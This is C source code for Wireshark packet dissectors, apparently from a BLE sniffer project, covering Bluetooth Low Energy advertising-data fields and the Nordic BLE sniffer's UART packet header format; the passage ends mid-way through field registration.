&hf_btle_adv_data_attrs[index_hf_btle_adv_data_pair_rand_r], {"simple randomizer", "btle.adv_data.simple_randomizer", FT_UINT16, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_dev_id], {"TK value", "btle.adv_data.tk_value", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_sec_man_oob_flags], {"OOB flags", "btle.adv_data.oob_flags", FT_UINT8, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_conn_int_range], {"conn interval range", "btle.adv_data.conn_interval_range", FT_UINT32, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_16b_service_uuids], {"16 b service uuids", "btle.adv_data.16b_service_uuids", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_128b_service_uuids], {"128 b service uuids", "btle.adv_data.128b_service_uuids", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_service_data], {"service data", "btle.adv_data.service_data", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_service_data_32b], {"service data for 32 bit UUID.", "btle.adv_data.service_data_32b", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_service_data_128b], {"service data for 128 bit UUID", "btle.adv_data.service_data_128b", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_service_data_value, {"service data value", "btle.adv_data.service_data.value", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_pub_target_addr], {"public target address", "btle.adv_data.public_target_address", FT_ETHER, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_rand_target_addr], {"random target address", "btle.adv_data.random_target_address", FT_ETHER, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_appearance], {"appearance", "btle.adv_data.appearance", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_adv_int], {"advertising interval", "btle.adv_data.advertising_interval", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_adv_int_ms, {"advertising interval (ms)", "btle.adv_data.advertising_interval_ms", FT_FLOAT, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_manufacturer, {"manufacturer specific data", "btle.adv_data.manufacturer_data", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_unknown, {"Unknown advertising data attribute", "btle.adv_data.unknown", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_flag_le_limited_discoverable, {"LE limited discoverable", "btle.adv_data.flag.le_limited_discoverable", FT_BOOLEAN, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_flag_le_general_discoverable, {"LE general discoverable", "btle.adv_data.flag.le_general_discoverable", FT_BOOLEAN, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_flag_br_edr_not_supported, {"BR/EDR not supported", "btle.adv_data.flag.br_edr_not_supported", FT_BOOLEAN, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_flag_simultaneous_le_br_edr_controller, {"Simultaneous LE and BR/EDR (Controller)", "btle.adv_data.flag.simultaneous_le_br_edr_controller", FT_BOOLEAN, BASE_NONE, NULL, 0x0, "Simultaneous LE and BR/EDR to Same Device Capable (Controller)", HFILL } }, { &hf_btle_adv_data_flag_simultaneous_le_br_edr_host, {"Simultaneous LE and BR/EDR (Host)", "btle.adv_data.flag.simultaneous_le_br_edr_host", FT_BOOLEAN, BASE_NONE, NULL, 0x0, "Simultaneous LE and BR/EDR to Same Device Capable (Host)", HFILL } } // #endif }; /* protocol subtree arrays */ static gint *ett[] = { &ett_btle, &ett_btle_pkthdr, &ett_btle_connect, &ett_btle_data, &ett_ll_enc_req, &ett_ll_enc_rsp, &ett_ll_control, &ett_ll_control_data, &ett_feature_set, &ett_channel_map, &ett_adv_data, &ett_adv_data_attr, &ett_adv_data_flags, &ett_uuids }; // static ei_register_info ei[] = { // { &ei_btle_packet_too_short, { "btle.length.short", PI_MALFORMED, PI_ERROR, "Packet buffer is too short or reported length is too long.", EXPFILL }}, // { &ei_btle_packet_too_long, { "btle.length.long", PI_MALFORMED, PI_ERROR, "Packet buffer is too long or reported length is too short.", EXPFILL }}, // }; //expert_module_t* expert_ip; /* register the protocol name and description */ proto_btle = proto_register_protocol( "Bluetooth Low Energy", /* full name */ "BTLE", /* short name */ "btle" /* abbreviation (e.g. for filters) */ ); register_dissector("btle", dissect_btle, proto_btle); //expert_ip = expert_register_protocol(proto_btle); //expert_register_field_array(expert_ip, ei, array_length(ei)); /* register the header fields and subtrees used */ proto_register_field_array(proto_btle, hf, array_length(hf)); proto_register_subtree_array(ett, array_length(ett)); } void proto_reg_handoff_btle(void) { static gboolean inited = FALSE; if (!inited) { // dissector_handle_t btle_handle; // btle_handle = new_create_dissector_handle(dissect_btle, proto_btle); // dissector_add("ppi.dlt", 147, btle_handle); btl2cap_handle = find_dissector("btl2cap"); inited = TRUE; } } ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/wireshark_dissector_source/packet-nordic_ble.c ================================================ /* packet-nordic_ble.c * Routines for nordic ble sniffer dissection * Copyright 201x, YOUR_NAME * Nordic Semiconductor * * * $Id$ * * Wireshark - Network traffic analyzer * By Gerald Combs * Copyright 1998 Gerald Combs * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include "config.h" #include #include #include #include #include /* definition to expand macro then apply to pragma message */ #define VALUE_TO_STRING(x) #x #define VALUE(x) VALUE_TO_STRING(x) #define VAR_NAME_VALUE(var) #var " =" VALUE(var) #pragma message(VAR_NAME_VALUE(VERSION_MAJOR)) // #pragma message(VERSION_MAJOR) #pragma message(VAR_NAME_VALUE(VERSION_MINOR)) // #pragma message(VERSION_MINOR) #define IS_VERSION_1_10 (VERSION_MAJOR == 1 && VERSION_MINOR == 10) #define IS_VERSION_1_11 (VERSION_MAJOR == 1 && VERSION_MINOR == 11) /* Size of various UART Packet header fields */ #define BEEF_LENGTH_BYTES (2) #define HEADER_LEN_LENGTH_BYTES (1) #define PACKET_LEN_LENGTH_BYTES (1) #define PROTOVER_LENGTH_BYTES (1) #define COUNTER_LENGTH_BYTES (2) #define ID_LENGTH_BYTES (1) #define BLE_HEADER_LEN_LENGTH_BYTES (1) #define FLAGS_LENGTH_BYTES (1) #define CHANNEL_LENGTH_BYTES (1) #define RSSI_LENGTH_BYTES (1) #define EVENT_COUNTER_LENGTH_BYTES (2) #define TIMESTAMP_LENGTH_BYTES (4) #define BOARD_ID_INDEX (0) #define BOARD_ID_LENGTH (1) /* Define the index of the various fields in the UART_PACKET header */ #define UART_PACKET_HEADER_LEN_INDEX (0) #define UART_PACKET_PACKET_LEN_INDEX (UART_PACKET_HEADER_LEN_INDEX + HEADER_LEN_LENGTH_BYTES) #define UART_PACKET_PROTOVER_INDEX (UART_PACKET_PACKET_LEN_INDEX + PACKET_LEN_LENGTH_BYTES) #define UART_PACKET_COUNTER_INDEX (UART_PACKET_PROTOVER_INDEX + PROTOVER_LENGTH_BYTES) #define UART_PACKET_ID_INDEX (UART_PACKET_COUNTER_INDEX + COUNTER_LENGTH_BYTES) #define UART_PACKET_BLE_HEADER_LEN_INDEX (UART_PACKET_ID_INDEX + ID_LENGTH_BYTES) #define UART_PACKET_FLAGS_INDEX (UART_PACKET_BLE_HEADER_LEN_INDEX + BLE_HEADER_LEN_LENGTH_BYTES) #define UART_PACKET_CHANNEL_INDEX (UART_PACKET_FLAGS_INDEX + FLAGS_LENGTH_BYTES) #define UART_PACKET_RSSI_INDEX (UART_PACKET_CHANNEL_INDEX + CHANNEL_LENGTH_BYTES) #define UART_PACKET_EVENT_COUNTER_INDEX (UART_PACKET_RSSI_INDEX + RSSI_LENGTH_BYTES) #define UART_PACKET_TIMESTAMP_INDEX (UART_PACKET_EVENT_COUNTER_INDEX + EVENT_COUNTER_LENGTH_BYTES) #define UART_PACKET_ACCESS_ADDRESS_INDEX (UART_PACKET_TIMESTAMP_INDEX + TIMESTAMP_LENGTH_BYTES) #define INDEX_OF_LENGTH_FIELD_IN_BLE_PACKET (5) #define INDEX_OF_LENGTH_FIELD_IN_EVENT_PACKET (UART_PACKET_TIMESTAMP_INDEX + TIMESTAMP_LENGTH_BYTES + INDEX_OF_LENGTH_FIELD_IN_BLE_PACKET) #define UART_HEADER_LEN (6) #define BLE_HEADER_LEN (10) #define PROTOVER (1) #define US_PER_BYTE (8) #define NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH (10) // Preamble (1) + AA (4) + Header (1) + Length (1) + CRC (3) = 10 Bytes #define BLE_METADATA_TRANFER_TIME_US (US_PER_BYTE * NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH) #define UART_HEADER_LENGTH (UART_PACKET_ACCESS_ADDRESS_INDEX) #define BLE_MIN_PACKET_LENGTH (NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH) #define BLE_MAX_PACKET_LENGTH (50) #define MIN_TOTAL_LENGTH (BLE_HEADER_LEN + BLE_MIN_PACKET_LENGTH) #define MAX_TOTAL_LENGTH (UART_HEADER_LENGTH + BLE_MAX_PACKET_LENGTH) #define BLE_LENGTH_POS (UART_HEADER_LENGTH + 5) /* * LEGACY DEFINES * Defines used in the 0.9.7 version of the dissector * Used to dissect packages with the old format */ #define _0_9_7_nordic_ble_MIN_LENGTH (8) #define _0_9_7_UART_HEADER_LENGTH (17) #define _0_9_7_BLE_EMPTY_PACKET_LENGTH (9) #define _0_9_7_BLE_MAX_PACKET_LENGTH (50) #define _0_9_7_MIN_TOTAL_LENGTH (_0_9_7_UART_HEADER_LENGTH + _0_9_7_BLE_EMPTY_PACKET_LENGTH) #define _0_9_7_MAX_TOTAL_LENGTH (_0_9_7_UART_HEADER_LENGTH + _0_9_7_BLE_MAX_PACKET_LENGTH) #define _0_9_7_BLE_LENGTH_POS (_0_9_7_UART_HEADER_LENGTH + 5) #define _0_9_7_ID_POS (2) #define _0_9_7_PACKET_COUNTER_POS (3) #define _0_9_7_LENGTH_POS (7) #define _0_9_7_FLAGS_POS (8) #define _0_9_7_CHANNEL_POS (9) #define _0_9_7_RSSI_POS (10) #define _0_9_7_EVENT_COUNTER_POS (11) #define _0_9_7_TIMESTAMP_POS (13) #define _0_9_7_US_PER_BYTE (8) #define _0_9_7_NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH (10) // Preamble (1) + AA (4) + Header (1) + Length (1) + CRC (3) = 10 Bytes #define _0_9_7_BLE_METADATA_TRANFER_TIME_US (_0_9_7_US_PER_BYTE * _0_9_7_NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH) /* Forward declaration that is needed below if using the * proto_reg_handoff_nordic_ble function as a callback for when protocol * preferences get changed. */ void proto_reg_handoff_nordic_ble(void); /* Initialize the protocol and registered fields */ static int proto_nordic_ble = -1; // static int hf_nordic_ble_FIELDABBREV = -1; /* Global sample preference ("controls" display of numbers) */ // static gboolean gPREF_HEX = FALSE; /* Global sample port preference - real port preferences should generally * default to 0 unless there is an IANA-registered (or equivalent) port for your * protocol. */ static guint udp_port = 32954; static guint user_dlt_num = 55; // corresponds to pcap network type value 157, user type 10. static gboolean legacy_mode = FALSE; #ifndef TRANSPARENT /* Initialize the subtree pointers */ static gint ett_nordic_ble = -1; static gint ett_flags = -1; /* Declared static as they need to be transferred between mode handlers and main dissector */ static gboolean bad_length, bad_mic; static int hf_nordic_ble_board_id = -1; static int hf_nordic_ble_header_length = -1; static int hf_nordic_ble_payload_length = -1; static int hf_nordic_ble_protocol_version = -1; static int hf_nordic_ble_packet_counter = -1; static int hf_nordic_ble_id = -1; static int hf_nordic_ble_ble_header_length = -1; static int hf_nordic_ble_flags = -1; static int hf_nordic_ble_crcok = -1; static int hf_nordic_ble_encrypted = -1; static int hf_nordic_ble_micok = -1; static int hf_nordic_ble_direction = -1; static int hf_nordic_ble_channel = -1; static int hf_nordic_ble_rssi = -1; static int hf_nordic_ble_event_counter = -1; static int hf_nordic_ble_delta_time = -1; static int hf_nordic_ble_delta_time_ss = -1; /* subtree pointers specific to 0.9.7 version */ static int hf_nordic_ble_length = -1; static int hf_nordic_ble_sync_word = -1; static int hf_nordic_ble_payload = -1; #if IS_VERSION_1_11 static expert_field ei_nordic_ble_bad_crc = EI_INIT; static expert_field ei_nordic_ble_bad_mic = EI_INIT; static expert_field ei_nordic_ble_bad_length = EI_INIT; #endif static guint8 src_addr_to_use[6] = {0,0,0,0,0,0}; static guint8 src_addr_zero[6] = {0,0,0,0,0,0}; static const true_false_string direction_tfs = { "Master -> Slave", "Slave -> Master" }; static const true_false_string crc_tfs = { "OK", "Incorrect" }; static const true_false_string encrypted_tfs = { "Yes", "No" }; static const true_false_string mic_tfs = { "OK", "Incorrect" }; #endif /* functions hiding versioning in dissectors */ static guint8 get_id_index(void) { return (legacy_mode ? _0_9_7_ID_POS : UART_PACKET_ID_INDEX); } static guint8 get_pc_index(void) { return (legacy_mode ? _0_9_7_PACKET_COUNTER_POS : UART_PACKET_COUNTER_INDEX); } static guint8 get_flags_index(void) { return (legacy_mode ? _0_9_7_FLAGS_POS : UART_PACKET_FLAGS_INDEX); } static guint8 get_ch_index(void) { return (legacy_mode ? _0_9_7_CHANNEL_POS : UART_PACKET_CHANNEL_INDEX); } static guint8 get_rssi_index(void) { return (legacy_mode ? _0_9_7_RSSI_POS : UART_PACKET_RSSI_INDEX); } static guint8 get_ec_index(void) { return (legacy_mode ? _0_9_7_EVENT_COUNTER_POS : UART_PACKET_EVENT_COUNTER_INDEX); } static guint8 get_td_index(void) { return (legacy_mode ? _0_9_7_TIMESTAMP_POS : UART_PACKET_TIMESTAMP_INDEX); } static guint8 get_header_length(void) { return (legacy_mode ? _0_9_7_UART_HEADER_LENGTH : UART_HEADER_LENGTH); } static guint8 get_packet_length_index(void) { return (legacy_mode ? _0_9_7_LENGTH_POS : UART_PACKET_PACKET_LEN_INDEX); } static guint8 get_total_len_min(void) { return (legacy_mode ? _0_9_7_MIN_TOTAL_LENGTH : MIN_TOTAL_LENGTH); } static guint8 get_total_len_max(void) { return (legacy_mode ? _0_9_7_MAX_TOTAL_LENGTH : MAX_TOTAL_LENGTH); } static guint8 get_metadata_transfer_time(void) { return (legacy_mode ? _0_9_7_BLE_METADATA_TRANFER_TIME_US : BLE_METADATA_TRANFER_TIME_US); } static guint8 get_us_per_byte(void) { return (legacy_mode ? _0_9_7_US_PER_BYTE : US_PER_BYTE); } static guint32 adv_aa = 0x8e89bed6; /* next dissector */ static dissector_handle_t btle_dissector_handle = NULL; static dissector_handle_t debug_handle = NULL; static gboolean array_equal(const void* buf1, const void* buf2, int len) { gboolean return_value = FALSE; int i; for (i = 0; i < len; i++) { if (((guint8*)buf1)[i] == ((guint8*)buf2)[i]) { return_value = TRUE; } } return return_value; } static void array_copy(void* dst, const void* src, int len) { int i; for (i = 0; i < len; i++) { ((guint8*)dst)[i] = ((guint8*)src)[i]; } } static tvbuff_t * dissect_board_id_and_strip_it_from_tvb(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree) { proto_tree_add_item(tree, hf_nordic_ble_board_id, tvb, BOARD_ID_INDEX, BOARD_ID_LENGTH, ENC_BIG_ENDIAN); return tvb_new_subset(tvb, BOARD_ID_LENGTH, -1, -1); } static gboolean dissect_lengths(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree) { guint8 hlen, plen; proto_item* item; gboolean bad_length = FALSE; if (legacy_mode) { hlen = tvb_get_guint8(tvb, _0_9_7_LENGTH_POS); plen = _0_9_7_nordic_ble_MIN_LENGTH; } else { hlen = tvb_get_guint8(tvb, UART_PACKET_HEADER_LEN_INDEX); plen = tvb_get_guint8(tvb, UART_PACKET_PACKET_LEN_INDEX); } if ((hlen + plen) != tvb_length(tvb)) { if (!legacy_mode) { proto_tree_add_item(tree, hf_nordic_ble_header_length, tvb, UART_PACKET_HEADER_LEN_INDEX, 1, ENC_BIG_ENDIAN); } item = proto_tree_add_item(tree, hf_nordic_ble_payload_length, tvb, get_packet_length_index(), 1, ENC_BIG_ENDIAN); #if IS_VERSION_1_11 expert_add_info(pinfo, item, &ei_nordic_ble_bad_length); #elif IS_VERSION_1_10 expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, "UART packet lengths do not match actual packet length."); #endif bad_length = TRUE; } else if ((hlen + plen) < get_total_len_min()) { if (!legacy_mode) { proto_tree_add_item(tree, hf_nordic_ble_header_length, tvb, UART_PACKET_HEADER_LEN_INDEX, 1, ENC_BIG_ENDIAN); } item = proto_tree_add_item(tree, hf_nordic_ble_payload_length, tvb, get_packet_length_index(), 1, ENC_BIG_ENDIAN); #if IS_VERSION_1_11 expert_add_info(pinfo, item, &ei_nordic_ble_bad_length); #elif IS_VERSION_1_10 expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, "UART packet length is too small (likely corrupted)."); #endif bad_length = TRUE; } else if ((hlen + plen) > get_total_len_max()) { if (!legacy_mode) { proto_tree_add_item(tree, hf_nordic_ble_header_length, tvb, UART_PACKET_HEADER_LEN_INDEX, 1, ENC_BIG_ENDIAN); } item = proto_tree_add_item(tree, hf_nordic_ble_payload_length, tvb, get_packet_length_index(), 1, ENC_BIG_ENDIAN); #if IS_VERSION_1_11 expert_add_info(pinfo, item, &ei_nordic_ble_bad_length); #elif IS_VERSION_1_10 expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, "UART packet length is too large (likely corrupted)."); #endif bad_length = TRUE; } return bad_length; } static void dissect_packet_counter(tvbuff_t *tvb, proto_tree *tree) { proto_tree_add_item(tree, hf_nordic_ble_packet_counter, tvb, get_pc_index(), 2, ENC_LITTLE_ENDIAN); } static void dissect_id(tvbuff_t *tvb, proto_tree *tree) { guint8 id; id = tvb_get_guint8(tvb, get_id_index()); } static gboolean dissect_flags(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree) { guint8 flags; gboolean crcok, dir, encrypted, micok; gboolean bad_length = FALSE; gboolean bad_mic = FALSE; gboolean bad_crc = FALSE; proto_item *flags_item, *item; flags = tvb_get_guint8(tvb, get_flags_index()); crcok = !!(flags & 1); dir = !!(flags & 2); encrypted = !!(flags & 4); micok = !!(flags & 8); if (dir) { SET_ADDRESS(&pinfo->src, AT_STRINGZ, 7, "Master"); SET_ADDRESS(&pinfo->dst, AT_STRINGZ, 6, "Slave"); } else { SET_ADDRESS(&pinfo->src, AT_STRINGZ, 6, "Slave"); SET_ADDRESS(&pinfo->dst, AT_STRINGZ, 7, "Master"); } flags_item = proto_tree_add_item(tree, hf_nordic_ble_flags, tvb, get_flags_index(), 1, ENC_BIG_ENDIAN); //flags_tree = proto_item_add_subtree(flags_item, ett_flags); if (encrypted) // if encrypted, add MIC status { item = proto_tree_add_bits_item(tree, hf_nordic_ble_micok, tvb, get_flags_index()*8+4, 1, ENC_LITTLE_ENDIAN); if (!micok) { // /* MIC is bad */ #if IS_VERSION_1_11 expert_add_info(pinfo, item, &ei_nordic_ble_bad_mic); #elif IS_VERSION_1_10 expert_add_info_format(pinfo, item, PI_CHECKSUM, PI_WARN, "MIC is bad"); expert_add_info_format(pinfo, item, PI_UNDECODED, PI_WARN, "Decryption failed (wrong key?)"); #endif bad_mic = TRUE; } } proto_tree_add_bits_item(tree, hf_nordic_ble_encrypted, tvb, get_flags_index()*8+5, 1, ENC_LITTLE_ENDIAN); proto_tree_add_bits_item(tree, hf_nordic_ble_direction, tvb, get_flags_index()*8+6, 1, ENC_LITTLE_ENDIAN); item = proto_tree_add_bits_item(tree, hf_nordic_ble_crcok, tvb, get_flags_index()*8+7, 1, ENC_LITTLE_ENDIAN); if(!crcok) { /* CRC is bad */ #if IS_VERSION_1_11 expert_add_info(pinfo, item, &ei_nordic_ble_bad_crc); #elif IS_VERSION_1_10 expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, "CRC is bad"); #endif bad_crc =TRUE; } return bad_mic; } static void dissect_channel(tvbuff_t *tvb, proto_tree *tree) { //guint8 channel; //channel = tvb_get_guint8(tvb, get_ch_index()); proto_tree_add_item(tree, hf_nordic_ble_channel, tvb, get_ch_index(), 1, ENC_BIG_ENDIAN); } static void dissect_rssi(tvbuff_t *tvb, proto_tree *tree) { gint32 rssi; rssi = (-1)*((gint32)tvb_get_guint8(tvb, get_rssi_index())); proto_tree_add_int(tree, hf_nordic_ble_rssi, tvb, get_rssi_index(), 1, rssi); } static void dissect_event_counter(tvbuff_t *tvb, proto_tree *tree) { guint32 aa; aa = tvb_get_letohl(tvb, get_header_length()); if (aa != adv_aa) { proto_tree_add_item(tree, hf_nordic_ble_event_counter, tvb, get_ec_index(), 2, ENC_LITTLE_ENDIAN); } } static void dissect_ble_delta_time(tvbuff_t *tvb, proto_tree *tree) { static guint8 previous_ble_packet_length = 0; guint32 delta_time, delta_time_ss; /* end - start */ delta_time = (guint32)tvb_get_letohl(tvb, get_td_index()); proto_tree_add_item(tree, hf_nordic_ble_delta_time, tvb, get_td_index(), 4, ENC_LITTLE_ENDIAN); /* start - start */ delta_time_ss = get_metadata_transfer_time() + (get_us_per_byte() * previous_ble_packet_length) + delta_time; proto_tree_add_uint(tree, hf_nordic_ble_delta_time_ss, tvb, get_td_index(), 4, delta_time_ss); previous_ble_packet_length = tvb_get_guint8(tvb, get_packet_length_index()); } /* * Specific for 1.0.0+ : */ static void dissect_ble_hlen(tvbuff_t *tvb, proto_tree *tree) { guint8 ble_hlen; ble_hlen = tvb_get_guint8(tvb, UART_PACKET_BLE_HEADER_LEN_INDEX); } static void dissect_protover(tvbuff_t *tvb, proto_tree *tree) { guint8 protover; protover = tvb_get_guint8(tvb, UART_PACKET_PROTOVER_INDEX); } static guint32 is_0_9_7_packet(tvbuff_t *tvb) { /* legacy packets started with 0xBEEF */ if (tvb_get_guint8(tvb, 0) == 0xBE && tvb_get_guint8(tvb, 1) == 0xEF) { return 1; } else { return 0; } } static void dissect_header_0_9_7(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_) { proto_item *ti; proto_tree *nordic_ble_tree;//, *flags_tree; gboolean bad_crc = FALSE; /* create display subtree for the protocol */ ti = proto_tree_add_item(tree, proto_nordic_ble, tvb, 0, -1, ENC_NA); nordic_ble_tree = proto_item_add_subtree(ti, ett_nordic_ble); pinfo->p2p_dir = P2P_DIR_RECV; /*** PROTOCOL TREE ***/ dissect_packet_counter(tvb, nordic_ble_tree); bad_mic = dissect_flags(tvb, pinfo, nordic_ble_tree); dissect_channel(tvb, nordic_ble_tree); dissect_rssi(tvb, nordic_ble_tree); dissect_event_counter(tvb, nordic_ble_tree); bad_length = dissect_lengths(tvb, pinfo, nordic_ble_tree); dissect_ble_delta_time(tvb, nordic_ble_tree); } static void dissect_header_1_0_0(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_) { /* Set up structures needed to add the protocol subtree and manage it */ proto_item *ti; proto_tree *nordic_ble_tree; /* Other misc. local variables. */ int btle_return = 0; pinfo->p2p_dir = P2P_DIR_RECV; /*** PROTOCOL TREE ***/ ti = proto_tree_add_item(tree, proto_nordic_ble, tvb, 0, -1, ENC_NA); nordic_ble_tree = proto_item_add_subtree(ti, ett_nordic_ble); tvb = dissect_board_id_and_strip_it_from_tvb(tvb, pinfo, nordic_ble_tree); bad_length = dissect_lengths(tvb, pinfo, nordic_ble_tree); dissect_protover(tvb, nordic_ble_tree); dissect_packet_counter(tvb, nordic_ble_tree); dissect_id(tvb, nordic_ble_tree); dissect_ble_hlen(tvb, nordic_ble_tree); bad_mic = dissect_flags(tvb, pinfo, nordic_ble_tree); dissect_channel(tvb, nordic_ble_tree); dissect_rssi(tvb, nordic_ble_tree); dissect_event_counter(tvb, nordic_ble_tree); dissect_ble_delta_time(tvb, nordic_ble_tree); } /* Main entry point for sniffer, any version */ static int dissect_nordic_ble(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data) { tvbuff_t *payload_tvb; bad_length = FALSE; bad_mic = FALSE; legacy_mode = is_0_9_7_packet(tvb); if (legacy_mode) { dissect_header_0_9_7(tvb, pinfo, tree, data); payload_tvb = tvb_new_subset(tvb, _0_9_7_UART_HEADER_LENGTH, -1, tvb_length(tvb) - _0_9_7_UART_HEADER_LENGTH); } else { dissect_header_1_0_0(tvb, pinfo, tree, data); /* have to take BOARD_ID into account, as the stripped version is local to dissect_1_0_0 */ payload_tvb = tvb_new_subset(tvb, UART_HEADER_LENGTH + BOARD_ID_LENGTH, -1, tvb_length(tvb) - UART_HEADER_LENGTH - BOARD_ID_LENGTH); } if (!bad_length) { call_dissector(btle_dissector_handle, payload_tvb, pinfo, tree); } if (bad_mic) { col_add_str(pinfo->cinfo, COL_INFO, "Encrypted packet decrypted incorrectly (bad MIC)"); } if(debug_handle) { call_dissector(debug_handle, payload_tvb, pinfo, tree); } if (legacy_mode) { return _0_9_7_UART_HEADER_LENGTH; } else { return UART_HEADER_LENGTH + BOARD_ID_LENGTH; } } /* Register the protocol with Wireshark. * * This format is require because a script is used to build the C function that * calls all the protocol registration. */ void proto_register_nordic_ble(void) { // module_t *nordic_ble_module; /* Setup list of header fields See Section 1.6.1 of README.developer for * details. */ static hf_register_info hf[] = { { &hf_nordic_ble_sync_word, { "sync word", "nordic_ble.sync_word", FT_UINT16, BASE_HEX, NULL, 0x0, "Sync word. Always 0xBEEF.", HFILL } }, { &hf_nordic_ble_board_id, { "board", "nordic_ble.board_id", FT_UINT8, BASE_DEC, NULL, 0x0, "", HFILL } }, { &hf_nordic_ble_header_length, { "length of header", "nordic_ble.hlen", FT_UINT8, BASE_DEC, NULL, 0x0, "", HFILL } }, { &hf_nordic_ble_payload_length, { "length of payload", "nordic_ble.plen", FT_UINT8, BASE_DEC, NULL, 0x0, "Payload length", HFILL } }, { &hf_nordic_ble_protocol_version, { "protocol version", "nordic_ble.protover", FT_UINT8, BASE_DEC, NULL, 0x0, "Version of nordic_ble protocol, only for Sniffer v1.0.0 and upwards", HFILL } }, { &hf_nordic_ble_packet_counter, { "uart packet counter", "nordic_ble.packet_counter", FT_UINT16, BASE_DEC, NULL, 0x0, "Global packet counter for packets sent on UART.", HFILL } }, { &hf_nordic_ble_id, { "packet id", "nordic_ble.id", FT_UINT8, BASE_DEC, NULL, 0x0, "Packet ID. Specifies the type of the packet", HFILL } }, { &hf_nordic_ble_ble_header_length, { "length of header", "nordic_ble.hlen", FT_UINT8, BASE_DEC, NULL, 0x0, "", HFILL } }, { &hf_nordic_ble_flags, { "flags", "nordic_ble.flags", FT_UINT8, BASE_HEX, NULL, 0x0, "Flags", HFILL } }, { &hf_nordic_ble_crcok, { "CRC", "nordic_ble.crcok", FT_BOOLEAN, BASE_NONE, TFS(&crc_tfs), 0x0, "Cyclic Redundancy Check state", HFILL } }, { &hf_nordic_ble_direction, { "direction", "nordic_ble.direction", FT_BOOLEAN, BASE_NONE, TFS(&direction_tfs), 0x0, "Direction", HFILL } }, { &hf_nordic_ble_encrypted, { "encrypted", "nordic_ble.encrypted", FT_BOOLEAN, BASE_NONE, TFS(&encrypted_tfs), 0x0, "Was the packet encrypted", HFILL } }, { &hf_nordic_ble_micok, { "MIC", "nordic_ble.micok", FT_BOOLEAN, BASE_NONE, TFS(&mic_tfs), 0x0, "Message Integrity Check state", HFILL } }, { &hf_nordic_ble_channel, { "channel", "nordic_ble.channel", FT_UINT8, BASE_DEC, NULL, 0x0, "Channel", HFILL } }, { &hf_nordic_ble_rssi, { "RSSI (dBm)", "nordic_ble.rssi", FT_INT16, BASE_DEC, NULL, 0x0, "Received Signal Strength Indicator", HFILL } }, { &hf_nordic_ble_event_counter, { "event counter", "nordic_ble.event_counter", FT_UINT16, BASE_HEX, NULL, 0x0, "Event Counter", HFILL } }, { &hf_nordic_ble_delta_time, { "delta time (us end to start)", "nordic_ble.delta_time", FT_UINT32, BASE_DEC, NULL, 0x0, "Delta time: us since last reported packet.", HFILL } }, { &hf_nordic_ble_delta_time_ss, { "delta time (us start to start)", "nordic_ble.delta_time_ss", FT_UINT32, BASE_DEC, NULL, 0x0, "Delta time: us since start of last reported packet.", HFILL } } }; /* Setup protocol subtree array */ static gint *ett[] = { &ett_nordic_ble, &ett_flags }; // static ei_register_info ei[] = { // { &ei_nordic_ble_bad_crc, { "nordic_ble.crc.bad", PI_CHECKSUM, PI_ERROR, "CRC is bad", EXPFILL }}, // { &ei_nordic_ble_bad_mic, { "nordic_ble.mic.bad", PI_CHECKSUM, PI_ERROR, "MIC is bad", EXPFILL }}, // { &ei_nordic_ble_bad_length, { "nordic_ble.length.bad", 